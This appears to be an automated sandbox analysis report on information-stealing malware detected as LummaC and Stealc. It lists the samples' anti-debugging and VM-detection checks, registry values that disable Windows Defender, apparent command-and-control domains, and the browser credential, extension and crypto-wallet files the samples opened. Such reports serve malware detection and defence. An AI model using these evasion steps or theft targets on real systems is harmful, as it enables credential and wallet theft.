Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB8E13 second address: EB8E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Special instruction interceptor: First address: 9D7915 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Special instruction interceptor: First address: B7FCB5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Special instruction interceptor: First address: BA7E54 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Special instruction interceptor: First address: C058A4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Special instruction interceptor: First address: CFDD84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Special instruction interceptor: First address: EA40CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Special instruction interceptor: First address: EA2AC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Special instruction interceptor: First address: CFDC86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Special instruction interceptor: First address: F42890 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Special instruction interceptor: First address: 1396F15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Special instruction interceptor: First address: 11FFBF6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Special instruction interceptor: First address: 13A245B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Special instruction interceptor: First address: 14316E9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Memory allocated: 5500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Memory allocated: 5690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Memory allocated: 7690000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Code function: 12_2_00E7750B rdtsc

12_2_00E7750B

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Code function: 12_2_00E8DB24 sidt fword ptr [esp-02h]

12_2_00E8DB24

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe TID: 6568	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe TID: 2364	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe TID: 3280	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe TID: 5728	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe TID: 4576	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe, FC6S9INH3UEK91EJWRLCPKUP1.exe, 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmp, DXNVSY83L0YWDTI5Q.exe, DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2660595134.0000000001378000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.0000000000714000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaret
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.0000000000714000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe, 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmp, DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2660595134.0000000001378000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: uDTW3VjJJT.exe, 00000000.00000003.2270955268.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Code function: 12_2_00E7750B rdtsc

12_2_00E7750B

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: DXNVSY83L0YWDTI5Q.exe PID: 6628, type: MEMORYSTR

LummaC encrypted strings found

Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: uDTW3VjJJT.exe, 00000000.00000003.2189328557.0000000005130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: FC6S9INH3UEK91EJWRLCPKUP1.exe, FC6S9INH3UEK91EJWRLCPKUP1.exe, 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: 8Program Manager
Source: DXNVSY83L0YWDTI5Q.exe, DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2660924546.00000000013C7000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: uDTW3VjJJT.exe, 00000000.00000003.2371259780.000000000146C000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2372070060.000000000146C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2371453117.0000000001440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \MsMpeng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: uDTW3VjJJT.exe PID: 6052, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2660131212.0000000000FB1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2612918686.0000000004900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DXNVSY83L0YWDTI5Q.exe PID: 6628, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: uDTW3VjJJT.exe, 00000000.00000003.2322139274.0000000005C22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyre
Source: uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: uDTW3VjJJT.exe, 00000000.00000003.2331254666.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: uDTW3VjJJT.exe, 00000000.00000003.2331531927.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: uDTW3VjJJT.exe, 00000000.00000003.2331254666.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
